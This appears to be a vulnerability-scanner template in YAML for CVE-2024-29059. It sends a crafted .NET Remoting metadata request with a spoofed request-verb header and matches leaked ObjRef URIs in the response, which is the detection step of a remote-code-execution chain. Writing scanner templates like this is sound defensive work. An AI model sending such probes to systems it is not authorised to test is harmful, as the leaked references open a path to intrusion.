CVE-2024-29059-.NET Remoting.yaml

id: CVE-2024-29059

info:
  name: Leaking ObjRefs to Exploit HTTP .NET Remoting
  author: shockwave + Critical Thinking
  severity: critical
  tags: rce

requests:
- raw:
  - |+
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
    Host: {{Hostname}}
    Content-Type: text/xml
    __RequestVerb: POST

  redirects: true
  matchers:
  - type: regex
    part: body
    regex:
    - '/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem'